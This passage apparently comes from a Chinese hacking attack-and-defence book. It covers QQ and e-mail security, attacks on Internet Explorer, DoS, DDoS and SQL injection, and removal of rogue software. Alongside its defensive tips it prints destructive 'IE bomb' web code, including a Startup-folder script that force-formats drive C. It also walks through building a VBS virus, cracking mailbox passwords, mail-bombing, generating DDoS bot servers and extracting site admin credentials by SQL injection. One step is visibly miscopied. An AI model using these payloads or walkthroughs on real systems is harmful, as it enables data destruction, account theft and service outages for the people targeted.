STEP02：输入要发送的信息 STEP03：选择发送空信息 STEP04：选择发送炸弹 11.4 保护QQ密码和聊天记录 11.4 保护QQ密码和聊天记录 对于使用QQ的用户来说，QQ密码和聊天记录是最重要的，一旦QQ密码丢失就可能导致失去QQ账号，而泄露聊天记录则可能导致一些重要的隐私信息（如银行账号、密码）被他人知道，进而造成经济损失。基于此，用户可以采用有效的措施来保护自己的QQ密码和聊天记录。 11.4.1 定期修改QQ密码 长时间使用相同的QQ密码很容易被他人破译，因此用户需要定期修改QQ密码，以免QQ密码被他人破译。 STEP01：单击“修改密码”命令 STEP02：输入当前密码与新密码 STEP03：QQ密码修改成功 切换至新的界面，提示QQ密码修改成功，弹出对话框，提示用户需要重新登录QQ。单击“重新登录”按钮。 STEP04：重新输入新密码 11.4.2 加密聊天记录 11.4.2 加密聊天记录 当QQ聊天记录中涉及个人隐私信息（如信用卡账号、密码等）时，就需要为QQ聊天记录进行加密，如果没有启用加密功能，则这些隐私消息很有可能外泄，从而造成无法弥补的损失。 STEP01：选择安全设置 STEP02：设置消息记录加密口令 STEP03：启用加密口令 STEP04：输入消息加密密码 11.4.3 申请QQ密保 11.4.3 申请QQ密保 QQ密保是腾讯公司为QQ推出的一项QQ保护功能，它包括密码保护问题、绑定手机等功能。如果用户设置了QQ密保，则当QQ被他人盗取后，用户可以利用密码保护修改登录密码，从而找回被盗的QQ账号。 STEP01：单击“申请密码保护”命令 STEP02：选择设置密保问题 STEP03：设置密码保护问题 STEP04：输入密码保护问题答案 STEP05：输入手机号码 STEP06：密码保护设置成功 11.4.4 利用QQ电脑管家保障QQ安全 11.4.4 利用QQ电脑管家保障QQ安全 QQ电脑管家是由腾讯公司推出的安全类软件，该软件可以确保QQ账户处于一个安全系数较高的系统环境中。该软件推出了实时防护的功能，可以防御计算机病毒或木马的入侵，从而确保QQ账户的安全。 STEP01：启动QQ电脑管家 STEP02：立即升级QQ电脑管家 STEP03：单击“实时防护”按钮 STEP04：开启实时防护 在“实时防护”界面中开启除ARP防护外的所有保护功能。 STEP05：单击“设置”按钮 提示：家用计算机无需开启ARP防护 ARP防护可用来防止局域网内的恶意扫描和攻击。如果用户使用的是家用计算机，则无需开启ARP防护；若计算机处于局域网中，则可选择开启ARP防护。 STEP06：设置文件系统防护等级 STEP07：设置自动更新软件版本 提示：利用QQ电脑管家加速QQ等级的速度 QQ电脑管家的功能与360安全卫士相差无几，但是它之所以能够受到越来越多用户的喜爱，是因为它具有加快QQ升级的速度，只要用户利用自己的QQ账户登录了QQ电脑管家，则当前QQ的升级速度将会加快。登录QQ电脑管家的具体操作为：打开QQ电脑管家主界面，在右上角单击“登录管家享特权”按钮，弹出“登录电脑管家”对话框，输入QQ账号和密码，单击“登录”按钮，登录后返回QQ电脑管家主界面，此时可看见界面显示“QQ等级加速中”提示信息。 第12章 E-Mail与IE浏览器攻防 第12章 E-Mail与IE浏览器攻防 在计算机中，E-Mail是使用较为广泛的通信方式之一，而IE则是Windows操作系统自带的浏览器软件。用户使用E-mail可能会发送包含个人隐私信息的邮件，而使用IE浏览器登录网页时也可能会输入一些个人隐私信息，而这些隐私信息恰恰是黑客们的最爱，稍不小心就会被黑客知晓。本章将介绍黑客是如何攻击E-Mail和IE浏览器的，用户又该如何防御这些攻击的相关内容。 知识要点 ·认识网页恶意代码 ·使用IE炸弹攻击IE浏览器 ·使用VBS脚本病毒攻击IE浏览器 ·使用“流光”盗取邮箱密码 ·利用E-Mail邮件群发大师发送邮箱炸弹 ·IE浏览器与E-mail的防护"},
    {"text": "第12章 E-Mail与IE浏览器攻防 12.1 认识网页恶意代码 网页恶意代码又称网页病毒、网页恶意软件，它们通常隐藏在网页中。一旦用户打开含有恶意代码的网页，则该代码就会感染IE浏览器，导致出现浏览器地址栏文字被篡改、定时弹出IE窗口以及自动安装木马程序等现象。 12.1.1 网页恶意代码的特征 网页恶意代码的特征主要包括3个：恶意的目的，本身是程序，通过执行发生作用。下面就详细介绍网页恶意代码的这3个特征。 1.恶意的目的 恶意的目的是指黑客在编写网页恶意代码时是带着恶意的目的（破坏目标计算机系统后的成就感、宣传某个产品、提供网络收费服务等）进行编写的。在Internet中，恶意代码的编写目的更多的是为了经济利益。较为简单的是通过让计算机用户单击广告链接来获取经济利益，较为复杂的是在恶意代码中植入木马程序，一旦用户单击带有该恶意代码的网站，木马就会自动安装到计算机中，进而窃取信用卡和网银的账户密码来盗取用户资金。 2.本身是程序 本身是程序指的是恶意代码是一种程序，它可以在不被察觉的情况下嵌入另一个程序中，通过运行其他的程序来引发恶意代码的运行。 3.通过执行发生作用 恶意代码与“地雷”比较相似，没有人碰它时，它会一直潜伏。一旦有人触碰它，它就会自动运行。 提示：认识非过滤性病毒 在恶意代码中，有一类被称为非过滤性病毒，这类恶意代码具有破译密码、记录私人通信、暗地接收和传递远程计算机的非授权命令等功能，其危害性不容小觑。 12.1.2 认识网页恶意代码的传播方式 12.1.2 认识网页恶意代码的传播方式 网页恶意代码的传播方式主要有两种：利用软件漏洞传播和利用电子邮件传播。下面就详细介绍网页恶意代码的两种传播方式。 1.利用软件漏洞传播 利用软件漏洞传播网页恶意代码最常见的是利用商业软件漏洞进行传播。它们完全依赖商业软件产品的缺陷和弱点，例如溢出漏洞、在不适当的环境中执行任意代码等。例如没有安装补丁的IIS软件就有输入缓冲区溢出方面的缺陷。利用Web服务缺陷的攻击代码有Code Red、Nimda等代码。 2.利用电子邮件传播 利用电子邮件传播恶意代码最常见的手法是，把含有恶意代码的邮件伪装成其他恶意代码受害者的感染报警邮件，恶意代码受害者往往是OutLook地址簿中的用户或者缓冲区中Web页的用户，这样做可以最大可能地吸引受害者的注意力。一些黑客还表现出高超的心理操纵能力，LoveLetter就是一个很好的例子。一般用户对来自陌生人的邮件附件越来越警惕，所以黑客就设计一些诱饵吸引用户的兴趣。附件的使用受到网关过滤程序的限制和阻断，所以黑客也会设法绕过网关过滤程序的检查。使用的手法包括采用模糊的文件类型、将公共的执行文件类型压缩成zip文件等。 12.2 黑客攻击IE浏览器的常用方式 12.2 黑客攻击IE浏览器的常用方式 IE浏览器是Windows操作系统自带的浏览器，虽然Internet中出现了遨游、FireFox等第三方浏览器，但是IE浏览器仍然被大量计算机用户所使用。因此它也成为黑客攻击的目标，其常用的攻击方式主要包括使用IE炸弹以及使用VBS脚本病毒。 12.2.1 使用IE炸弹攻击IE浏览器 IE炸弹通常埋伏在网页中，当用户使用IE浏览器浏览这些网页时，就会导致IE浏览器自动运行隐藏的IE炸弹，轻则不断弹出窗口，造成Windows系统资源耗尽，重则自动格式化硬盘，造成重要数据的丢失。IE炸弹的主要形式有3种：打开窗口死循环、超大图片以及格式化硬盘。 1.打开窗口死循环 如果在网页代码中添加\"＜html＞＜body＞＜img src=****n=1\"do{windows.open('')}while(n==1)\"width=\"1\"＞＜/body＞＜/html＞\"代码，则一旦执行该网页，IE浏览器就会不停地打开新的窗口，直至耗尽系统资源，导致计算机死机。 2.超大图片 如果在网页代码中添加“＜html＞＜body＞＜img src=****width=\"2\"height=\"*****(很大的数字，至少10000000)\"＜/body＞＜/html＞”代码，则由于设置出的图片高度超出了CPU的负荷，当IE浏览器打开含有该代码的网页时，就会不断地解析试图打开设置的图片，但由于图片的高度预设值实在是太大了，超出了其处理能力，最终导致计算机死机。 3.格式化硬盘 由于该种IE炸弹的危害实在太大了，仅写出关键代码。首先在网页中加入“src.Path=\"C:\\\\WINDOWS\\\\StartMenu\\\\Programs\\\\启动\\\\hack.hta”代码，其意思是当IE浏览器打开该网页时，网页会自动写入操作系统的启动目录下，并将其命名为hack.hta；接着在网页代码中添加\"wsh.Run('start.exe/m format c:/q/autotest/u')\"代码，其意思是自动格式化C盘。在Windows系统中，格式化硬盘都会先询问是否要执行，但其中\"/autotest\"项是Microsoft未公开的功能，输入format后的动作会被强制执行。\"/q……/u\"代码是一种让操作系统不需要检查硬盘便会立即执行的指令。最后，start.exe/m选项可使正在格式化磁盘分区的命令提示符窗口在运行时处于最小化状态。"},
    {"text": "12.2.2 使用VBS脚本病毒攻击IE浏览器 12.2.2 使用VBS脚本病毒攻击IE浏览器 VBS脚本病毒是使用VBScript编写的病毒程序，这类病毒能够对IE浏览器造成极大的危害，如锁定IE浏览器主页、禁用“运行”菜单等。虽然VBS脚本病毒的编写方式比较简单，但是有不少的黑客习惯使用VBS脚本病毒生成器来制作VBS脚本病毒。下面介绍使用VBS脚本病毒生成器来制作VBS脚本病毒的操作方法。 STEP01：启动VBS脚本病毒生成器 STEP02：单击“下一步”按钮 STEP03：复制病毒副本到系统文件夹 STEP04：禁止指定功能选项 STEP05：设置开机提示对话框 STEP06：设置病毒传播选项 STEP07：设置IE修改选项 STEP08：单击“浏览”按钮 STEP09：设置病毒文件保存位置 STEP10：确认设置的保存位置 STEP11：完成VBS脚本病毒的制作 STEP12：查看制作的VBS脚本病毒 12.3 黑客攻击电子邮箱的常用工具 12.3 黑客攻击电子邮箱的常用工具 电子邮箱由于其被广泛应用的特性成为了黑客攻击的目标。有些黑客攻击电子邮箱的目的是盗取邮箱密码，从而盗取邮箱；有些黑客则是向目标电子邮箱发送邮箱炸弹，导致邮箱服务器无法正常工作。下面介绍这两种攻击方式的详细操作方法。 12.3.1 使用“流光”盗取邮箱密码 黑客盗取电子邮箱的密码有多种方法，暴力破解是其中一种，但是由于其局限性（只能破解位数较少且组成元素单一的密码）并不受黑客的欢迎。比较受黑客欢迎的盗取方式则是使用专业的软件实现密码的盗取，“流光”就是一种可以用来实现盗取邮箱密码的软件。下面介绍利用“流光”盗取邮箱密码的操作方法。 STEP01：启动“流光”软件 STEP02：添加POP3主机 STEP03：输入POP3服务器名 STEP04：单击“从列表添加”命令 STEP05：打开邮箱用户名所在文件 STEP06：选择添加解码字典或方案 STEP07：选择解码字典或方案所在文件 STEP08：选择用户名字典和密码文件 STEP09：选择简单模式探测 STEP10：正在探测邮箱账户和密码 程序正在根据添加的字典来探测邮箱账户和密码。探测结束后会弹出对话框，显示探测到的账户和密码。 提示：认识盗取邮箱密码的其他软件 在Internet中，盗取电子邮箱密码的软件不止“流光”软件一种，除此之外还有“黑雨”、WebCracker等软件。 12.3.2 使用E-Mail邮件群发大师发送邮箱炸弹 12.3.2 使用E-Mail邮件群发大师发送邮箱炸弹 E-Mail邮件群发大师是基于Internet上的标准邮件服务器的专业高速E-Mail群发软件。普通用户可以使用该邮件为多个好友发送邮件，而黑客却可以使用该软件来发送大量的无用邮件，造成目标邮箱服务器无法正常运行，从而实现炸弹攻击。 STEP01：启动“亿虎Email群发大师”程序 STEP02：选择增加邮箱地址 提示：导入多个相同地址实现炸弹攻击 在添加邮箱地址时（STEP03），如果用户导入了多个相同的邮箱地址，则程序就会向同一个邮箱中发送大量的邮件，从而实现炸弹攻击。 STEP03：选择邮箱地址所在文件 STEP04：输入邮件主题和内容 STEP05：单击“服务器”按钮 STEP06：选择增加服务器 STEP07：输入发送服务器详细信息 STEP08：DNS服务器有效 STEP09：单击“开始”按钮 STEP10：查看发送的结果 12.4 IE浏览器的防护 12.4 IE浏览器的防护 知晓了黑客攻击IE浏览器的一些常用方法后，用户便可有针对性地做好IE浏览器的保护措施，例如限制访问危险网站、提高IE安全防护等级、清除临时文件和Cookies以及清除网页恶意代码等。 12.4.1 限制访问危险网站 限制访问危险网站是指限制访问带有病毒、木马或者恶意代码的网站，一旦发现该网站，便可将其添加到受限站点中，使得IE浏览器在以后能够自动阻止访问该网站。 STEP01：单击“Internet选项”选项 STEP02：选择受限站点 STEP03：添加危险网站 STEP04：添加其他危险网站 提示：安装上网安全类软件以提前知晓危险网站 Internet中存在着数不胜数的危险网站，但是对于计算机初学者来说，无法预先知晓哪些是危险网站，因此用户可以在系统中安装QQ电脑管家、360安全卫士等上网安全类软件。这类软件能够在用户打开网页前检测网页是否安全，若不安全则会提示用户。一旦用户收到提示信息，便可将这些网站添加到受限网站中。 12.4.2 提高IE安全防护等级 12.4.2 提高IE安全防护等级 在IE浏览器中，Internet默认的安全防护级别为“中-高”，但是对于计算机初学者来说，可能该等级的安全防护仍然无法保证用户使用IE浏览器时的安全性，因此用户可以提高Internet的安全防护级别，将其调整至最高级别。 STEP01：调整Internet的安全级别 STEP02：单击“自定义级别”按钮 STEP03：设置Active X控件和插件 弹出“安全设置-Internet区域”对话框，在“设置”列表框中禁用“ActiveX控件自动提示”功能。 STEP04：重置自定义设置"},
    {"text": "12.4.3 清除临时文件和Cookie 12.4.3 清除临时文件和Cookie 使用IE浏览器一段时间后，IE浏览器会自动记录用户曾经在网页中输入信用卡、银行以及游戏的账号和密码等信息，而这些信息就保存在临时文件和Cookies中，一旦计算机遭受木马或恶意代码入侵，则这些隐私信息就会泄露，从而造成无法弥补的损失。为了避免此种情况发生，用户需要定期清理临时文件和Cookie。 STEP01：单击“删除”按钮 STEP02：选择要删除的内容 STEP03：正在删除数据 弹出对话框，提示正在删除历史记录。 提示：认识Cookie Cookie是一种能够让网站服务器把少量数据储存到客户端的硬盘或内存的技术，它包含账户、密码和历史记录等信息。 STEP04：选择退出时删除历史记录 提示：设置保存临时文件的空间大小 IE浏览器默认保存Internet临时文件的空间为50MB，如果觉得该容量较小，则可以手动调整。具体操作为：打开“Internet选项”对话框，①在“浏览历史记录”选项组中单击“设置”按钮，弹出“Interent临时文件和历史记录设置”对话框，②更改保存Internet临时文件的空间大小，如设置为100MB，③然后单击“确定”按钮。 12.4.4 清除网页恶意代码 12.4.4 清除网页恶意代码 网页恶意代码能够使操作系统中的IE浏览器无法正常使用，这是通过修改Windows注册表中的某些键值来实现的。由网页恶意代码引发的IE故障主要有IE主页被篡改、IE默认连接首页被篡改两种。下面介绍这两种故障对应的解决办法。 1.IE主页被篡改 IE主页被篡改是指IE浏览器的默认主页并非用户手动设置的网页，而是网页恶意代码所预设的网页，即使用户在“Internet选项”对话框中修改IE主页仍然无效。造成该故障产生的原因是Windows注册表中HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Explorer\\Main\\子键下的Default_Page_URL键值被修改。解决办法很简单：只需在“注册表编辑器”窗口中将Default_Page_URL键值修改为常用的网页网址（如http://www.baidu.com）即可。 STEP01：单击“运行”命令 STEP02：输入regedit命令 STEP03：展开MAIN子键 STEP04：双击Default_Page_URL项 STEP05：修改Default_Page_URL键值 STEP06：查看已修改的键值项 2.IE默认连接首页被篡改 IE默认的连接首页是与Microsoft相关的网页，它在Windows注册表中对应的选项为HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Internet Explorer\\MAIN\\和HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\子键下的Start Page键值项，用户只需重新修改Start Page的值即可。 STEP01：展开MAIN子键 STEP02：双击Start Page键值项 STEP03：修改Start Page键值项 STEP04：展开Main子键 STEP05：双击Start Page键值项 提示：认识默认的LinkId值 在STEP03中，如果默认LinkId值不是69157而是其他数字，则可能默认网页已被修改，可直接将其修改为69157即可。 STEP06：修改Start Page键值项 12.5 电子邮箱的防护 12.5 电子邮箱的防护 虽然黑客攻击电子邮箱的方法有很多种，但是主要包括两种：发送邮箱炸弹和盗取邮箱密码。用户只要针对这两种攻击方法采取对应的防护措施，就能够保证自己的邮箱能够正常工作和密码不被盗取。 12.5.1 防范邮箱炸弹的攻击 防范邮箱炸弹攻击的主要措施有两种：使用邮箱的来信分类功能，求援ISP。下面对这两种防范措施进行详细介绍。 1.使用邮箱的来信分类功能 Internet中的大部分邮箱都带有来信分类功能，用户在接收任何电子邮件之前可以先检查发件人的资料，如果有可疑之处，可以将其删除，拒绝其进入邮箱。虽然这种做法有时候会删除一些有用的邮件，但是为了防止邮箱遭受炸弹的攻击，建议用户设置来信分类。 STEP01：登录网易163邮箱 STEP02：选择邮箱设置 STEP03：新建来信分类 STEP04：输入名称和设置条件 STEP05：保存设置的来信分类 STEP06：查看创建的来信分类 提示：谨慎使用邮箱的自动回复功能 Internet中的大部分邮箱都具有自动回复的功能，该功能是指当对方向自己的邮箱发送了一封邮件而自己还未来得及接收时，邮箱会自动将已经预设好的回复邮件发送给对方。该功能虽然为用户提供了方便，但是却存在着炸弹攻击的危险，一旦对方也预设了自动回复功能，则双方会不停地发送回复邮件，从而造成双方的邮箱均无法正常使用。 2.求援ISP 当自己的电子邮箱遭受炸弹攻击后，如果已经造成了无法正常使用电子邮箱的情况，则可以向为自己提供上网服务的ISP（Internet Service Provider，互联网服务提供商）求援，ISP会采取办法清除邮箱炸弹并使邮箱恢复正常工作。在平时上网时，用户不要轻易留下自己的电子邮箱地址，以免遭受不必要的炸弹攻击。 12.5.2 找回失窃的电子邮箱 12.5.2 找回失窃的电子邮箱 当用户的电子邮箱被他人盗取后，用户可以通过申请电子邮箱时预设的密码提示问题、保密邮箱等密保方式找回丢失的电子邮箱。如果用户在申请电子邮箱时并未设置密保方式，则将可能无法找回被盗的电子邮箱。 STEP01：单击“忘记密码”链接 STEP02：输入邮箱账号 STEP03：选择密码提示问题 STEP04：输入问题答案和新密码 STEP05：修改Start Page键值项 第13章 网站攻防 第13章 网站攻防 Internet中存在着大量的网站，这些网站由于是向全部的网络用户开放的，因此一定会引起黑客的关注。为了获取网站的相关信息或者攻击指定网站，黑客通常会采取诸如DDoS、SQL注入等手段来攻击网站。为了确保网站的安全，用户有必要了解这些攻击手段和防范这些攻击手段的有效措施。 知识要点 ·认识网站攻击 ·DoS攻防 ·DDoS攻防 ·SQL注入攻击"},
    {"text": "第13章 网站攻防 13.1 认识网站攻击 网站攻击是指以网站为对象的攻击方式。Internet中有数不胜数的网站，而其中某些网站由于其独特性（提供了后台管理员权限、存在漏洞）成为了黑客攻击的对象。黑客攻击网站的主要方式包括4种：即拒绝服务攻击、SQL注入、网络钓鱼和社会工程学。 13.1.1 拒绝服务攻击 在网络安全中，拒绝服务攻击（DoS）以其危害巨大、难以防御等特点成为黑客经常采用的攻击手段。DoS是Denial of Service的缩写，即拒绝服务。造成DoS的攻击行为被称为DoS攻击。后来又出现了分布式拒绝服务攻击（DDoS），它们通过发送大量攻击包到网站服务器中的手段，导致服务器内存被耗尽或CPU被内核及应用程序被占完，而无法提供网络服务，使得所有可用的操作系统资源都被消耗殆尽，最终服务器无法再处理合法用户的请求。关于Dos和DDoS攻击的内容将在13.2节和13.3节进行详细介绍，这里就不进行详细介绍了。 13.1.2 SQL注入 13.1.2 SQL注入 在网页制作发展的过程中，随着B/S模式（即浏览器/服务器结构，该模式最大的特点就是用户可以通过浏览器访问网页中的文本、数据、图像、动画、视频点播和声音信息等）应用开发的发展，导致采用B/S模式编写程序的编程人员越来越多。由于编程人员的水平及经验参差不齐，大部分人员在编写代码时没有对用户输入数据的合法性进行判断，使得应用程序存在安全隐患。黑客可以通过Interent的输入区域，利用某些特殊构造的SQL语句提交数据库查询代码（一般是在浏览器地址栏进行，通过正常的www端口访问），进而获取网站后台隐私信息数据，即SQL注入。 SQL注入通过网页修改网站数据库，它能够直接在数据库中添加具有管理员权限的用户，最终获得系统管理员权限。黑客利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序，对网站的正常运营和访问该网页的用户都带来巨大危害。 13.1.3 网络钓鱼 13.1.3 网络钓鱼 网络钓鱼是指黑客利用欺骗性的电子邮件和伪造的Web站点来进行诈骗活动，引诱访问该网站的用户提供一些个人隐私信息，如信用卡、银行卡以及游戏的账户密码等内容，一旦用户输入这些数据，这些数据就会被黑客知晓，从而使用户受到的损失。 黑客通常会将自己伪装成知名银行、在线零售商和信用卡公司等可信的品牌，因此，网络钓鱼的受害者往往也都是那些和电子商务有关的服务商和使用者。 13.1.4 社会工程学 13.1.4 社会工程学 社会工程学是一种基于非计算机的欺骗技术。在社会工程学中，黑客通过抓住受害者的心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱来进行欺骗，引诱受害者泄密私人信息。社会工程学并不能等同于一般的欺骗手法，社会工程学尤其复杂，即使自认为最警惕、最小心的人，一样会被高明的社会工程学手段的欺骗造成利益损害。 13.2 DoS攻防 13.2 DoS攻防 Dos意为拒绝服务攻击。这种攻击方式可以导致网站服务器充满着大量要求回复的信息，而这些信息又消耗网络带宽或服务器资源，从而导致网络或服务器超出负荷而瘫痪，进而停止提供正常的网络服务。 13.2.1 认识DoS的攻击原理 DoS攻击是一种基于TCP协议连接3次握手的攻击方式。TCP协议连接3次握手是指在TCP/IP协议中，TCP协议提供可靠的连接服务，需要经过3次握手才会开始传送数据，如下图所示。第1次握手：计算机与服务器建立连接时，计算机发送SYN数据包（SYN=J）到网站服务器，计算机进入SYN_SEND状态，等待服务器确认；第2次握手：服务器接收到SYN数据包，必须确认计算机的SYN数据包（ACK=J+1），同时服务器也需要发送一个自己的SYN数据包（SYN=K），因此服务器将向计算机发送（SYN+ACK）数据包，此时服务器进入SYN_RECV状态；第3次握手：计算机收到服务器的（SYN+ACK）数据包，向服务器发送确认包ACK（ACK=K+1），该数据包发送后，计算机和服务器进入ESTABLISHED状态，完成3次握手。开始传送数据。 由于TCP协议连接3三次握手的需要，在每个TCP建立连接时，计算机都要发送一个带SYN标记的数据包。如果在服务器端发送（SYN+ACK）应答数据包后，计算机不发出确认，服务器会等待到数据超时。如果大量的带SYN标记的数据包发到服务器端后都没有应答，会使服务器端的TCP资源迅速枯竭，导致正常的连接不能进入，甚至会导致服务器的系统崩溃。这就是TCP SYN Flooding攻击的过程，如下图所示。 13.2.2 利用路由器防范DoS攻击 13.2.2 利用路由器防范DoS攻击 DoS攻击的对象不仅仅只是网站，还可能是个人计算机。为了避免DoS攻击造成的损失，用户需要采取防范DoS的有效措施，其中路由器就是一种很好的防范措施，无论是服务器还是个人计算机，都可以通过路由器来防范DoS攻击。下面以TP-LINK路由器为例，介绍防范DoS攻击的操作方法。 STEP01：输入路由器主页网址 STEP02：输入用户名和密码 STEP03：选择高级安全设置 STEP04：启用DoS攻击防范功能"},
    {"text": "13.3 DDoS攻防 13.3 DDoS攻防 由于大多数的DoS攻击需要相当大的带宽，但是以个人为单位的黑客很难使用高带宽的资源。为了克服这个缺点，黑客开发了分布式拒绝服务攻击（Distributed Denial of Service），即DDoS攻击。 DDoS攻击是黑客利用在已经侵入并已控制的不同的高带宽计算机（几百台、几千台甚至几万台）上安装大量的DoS服务程序，这些程序等待攻击命令，一旦收到命令，这些计算机上的程序便会对特定的网站服务器发送大量的网络访问请求，形成DoS洪流，猛烈地攻击同一个网站。一旦遭受这种攻击后，网站服务器就无法及时处理正常的访问请求，从而导致系统瘫痪或崩溃。 13.3.1 利用“雪花DDoS攻击器”实现DDoS攻击 “雪花DDoS攻击器”是一款比较出名的DDoS攻击器，它的功能十分强大。与所有DDoS攻击器一样，黑客首先会利用“雪花DDoS攻击器”生成服务端程序，让大量的计算机运行该服务端程序，从而让这些计算机被黑客所控制。然后再利用“雪花DDoS攻击器”发起DoS攻击，即可实现DDoS攻击。 STEP01：启动“雪花DDoS攻击器” STEP02：单击“端口设置”按钮 STEP03：设置端口 STEP04：记录本地计算机的IP地址 STEP05：启动服务端生成器 STEP06：配置服务端程序 STEP07：成功生成服务端 弹出对话框，提示用户服务端程序生成成功，单击“确定”按钮。 STEP08：查看生成的服务端程序 STEP09：查看运行服务端程序的计算机 STEP10：DDoS攻击设置 STEP11：设置目标网址 13.3.2 防范DDoS攻击的常用措施 13.3.2 防范DDoS攻击的常用措施 防范DDoS攻击的常用措施主要有4种：定期扫描漏洞，配置防火墙，利用足够的计算机承受黑客攻击和充分利用网络设备保护网络资源。 1.定期扫描漏洞 定期扫描是指定期扫描现有的网络主节点以及服务器，清查可能存在的漏洞并及时处理新出现的漏洞。网络主节点的计算机具有较高的带宽，因此它将会是黑客最可能利用的位置。因此需要加强对这些计算机进行扫描操作。 2.配置防火墙 防火墙本身具有抵御DDoS攻击的能力，在发现受到攻击的时候，可以将攻击引导至一些无用的主机，以达到保护真正主机不被攻击的目的。当然，这些无用的主机可以选择安装有Linux或UNIX等系统（Linux和UNIX系统具有漏洞少和天生防范攻击能力强的特点）的计算机。 3.利用足够的计算机承受黑客攻击 利用足够的计算机承受黑客攻击是一种较为理想的应对策略。如果拥有足够的容量和足够的资源应对黑客攻击，在它不断访问用户、夺取用户资源之时，它自己的能量也在逐渐耗尽，或许还没等服务器被攻破，黑客已无力支撑而失败了。不过此方法需要投入的资金比较多，平时大多数设备处于空闲状态，不符合目前中小企业网络实际运行情况。 4.充分利用网络设备保护网络资源 网络设备通常是指路由器、防火墙等负载均衡设备，它们可以有效地保护局域网。当网络被攻击时最先死机的是路由器，但其他服务器不会死机。已经死机的路由器经重启后就会恢复正常，而且它启动速度较快且没有什么损失。但若其他服务器死机，则会导致其中的数据丢失，并且重启服务器需要花费较长的时间。若一个公司使用了负载均衡设备，那么当一台路由器被攻击而导致死机时，另一台路由器将会继续工作，从而在最大程度上削弱了DDoS攻击的能量。 13.4 SQL注入攻击 13.4 SQL注入攻击 SQL注入简单来说就是利用SQL语句在外部对SQL数据库进行查询、更新等操作。首先，数据库作为一个网站最重要的组成部分之一，其中储存了管理员的账号密码、网站的配备内容等重要信息，一旦里面的数据被黑客获得或者修改，那么黑客就可能获得整个网站的控制权。黑客常用的注入工具有“啊D”、NBSI等。 13.4.1 使用“啊D”实现SQL注入攻击 “啊D”是常用的注入工具之一，黑客利用该工具可获取某些网站的管理员账户和密码，从而以管理员的身份对网站进行注意的操作。 STEP01：启动“啊D注入工具”程序 STEP02：打开要检测的页面 STEP03：注入检测可用注入点 STEP04：单击“检测”按钮 STEP05：检测选中的字段 STEP06：检测选中字段的内容 STEP07：查看检测的内容 STEP08：用IE打开连接 STEP09：输入账号和密码 STEP10：登录成功 13.4.2 使用NBSI实现SQL注入攻击 13.4.2 使用NBSI实现SQL注入攻击 NBSI是一款黑客们常用的SQL注入工具，它不仅能够实现SQL注入攻击，而且还能检测网站中存在的漏洞。下面介绍使用NBSI实现SQL注入攻击的操作方法。 STEP01：运行NBSI程序 STEP02：全面扫描指定网站 STEP03：查看网页中存在的注入点 当界面显示“网站扫描完成”信息时，即可看见该网站中存在的注入点。 STEP04：选择要分析的注入点 STEP05：检测注入点 STEP06：选择猜解表名 STEP07：单击“确定”按钮 STEP08：获取网站的用户名和密码 提示：防范SQL注入攻击 由于SQL注入攻击是因网站中存在可注入站点而造成的，而这些可注入站点可以说是网站服务器中潜在的漏洞，若要防范SQL注入攻击，不仅要安装防火墙以防范黑客发起SQL注入攻击，而且还要及时修补服务器中存在的漏洞。"},
    {"text": "第14章 防范流氓与间谍软件 第14章 防范流氓与间谍软件 在Internet中，间谍软件与流氓软件是一类危及计算机安全的软件。这类软件的破坏性虽然没有病毒那么大，但是这类软件是被强制安装到操作系统中，并且随时检测系统中的个人隐私信息，因此用户需要学会防范这两类软件，确保计算机的绝对安全。 知识要点 ·认识流氓软件 ·认识间谍软件 ·使用“瑞星安全助手”清理流氓软件 ·使用“金山卫士”清理流氓软件 ·使用Windows Defender清除间谍软件 第14章 防范流氓与间谍软件 14.1 认识流氓软件与间谍软件 流氓软件与间谍软件是两类对计算机有着重大威胁的软件，它们都会在用户不察觉的情况下被安装到系统中，然后在系统中搜集用户的隐私信息，并将它们传送出去。本节将为用户详细介绍这两类软件的相关内容。 14.1.1 认识流氓软件 流氓软件是一类介于病毒和正常应用程序之间的软件，这类软件机既会导致用户在上网时不断地打开大量网页，又会在浏览器中添加许多工具条。当计算机出现这些症状时，则很有可能是系统中被安装了流氓软件。流氓软件不会影响计算机的正常使用，它只是在用户启动IE浏览器时弹出网页，达到广告宣传的目的。 常见的流氓软件具有以下4种特征：强行或秘密入侵用户计算机，强行弹出含有广告的网页以此获取商业利益，偷偷监视用户计算机（记录用户上网习惯和窃取账户密码），强行劫持浏览器或搜索引擎，导致用户无法正常浏览网页。 14.1.2 认识间谍软件 14.1.2 认识间谍软件 间谍软件是一类能够在用户不知情的情况下，在系统中安装后门、收集用户个人信息的软件。“间谍软件”可以说是一个灰色区域，它没有一个明确的定义，只要是从计算机中收集信息，并在未得到计算机用户许可下传递所收集信息的第三方软件都可被称为间谍软件，主要包括监视击键，搜集个人信息，获取电子邮件地址，跟踪浏览习惯等软件。 大多数间谍软件不仅包括广告软件、色情软件和风险软件，而且还包括许多木马程序，如Backdoor Trojans、Trojan Proxies和PSW Trojans等。这些程序早在许多年前第一个AOL密码盗取程序出现时就已经存在，只是当时还没有“间谍软件”的说法。 14.2 清除与防范流氓软件 14.2 清除与防范流氓软件 流氓软件由于是在用户不知情的情况下被安装到系统中的，因此普通的计算机用户可能无法用肉眼观察到系统中是否存在流氓软件，此时就需要使用专业的查杀软件进行扫描并清除。本节将介绍使用“瑞星安全助手”、“金山卫士”以及“Windows流氓软件清理大师”3款软件清理流氓软件的操作方法。 14.2.1 使用“瑞星安全助手”清理流氓软件 “瑞星安全助手”是一款功能十分强大的上网类辅助软件，由瑞星公司研发。它不仅具有漏洞修复、数据加密以及系统垃圾清理等功能，而且还能清除系统中的流氓软件。下面介绍使用“瑞星安全助手”清理流氓软件的操作方法。 STEP01：双击“瑞星安全助手” STEP02：检查更新软件版本 STEP03：正在下载升级文件 STEP04：安装升级文件 STEP05：完成升级 STEP06：单击“电脑修复”按钮 STEP07：查看扫描出的插件 程序自动扫描系统，扫描完毕后可看见系统中的所有插件。 STEP08：选择立即修复 STEP09：选择重新扫描 STEP10：查看扫描的结果 提示：开启“瑞星安全助手”的安全防护 “瑞星安全助手”提供了安全防护的功能，该功能可以实时监控系统，保证系统处于相对安全的环境。具体操作为：在“安全防护”选项下开启“系统安全体系监控”和“系统漏洞监控”功能，若要开启“恶意网站访问监控”功能，则系统中必须安装瑞星个人防火墙；若要开启“恶意文件实时监控”功能，则系统中必须安装瑞星杀毒软件。 14.2.2 使用“金山卫士”清理流氓软件 14.2.2 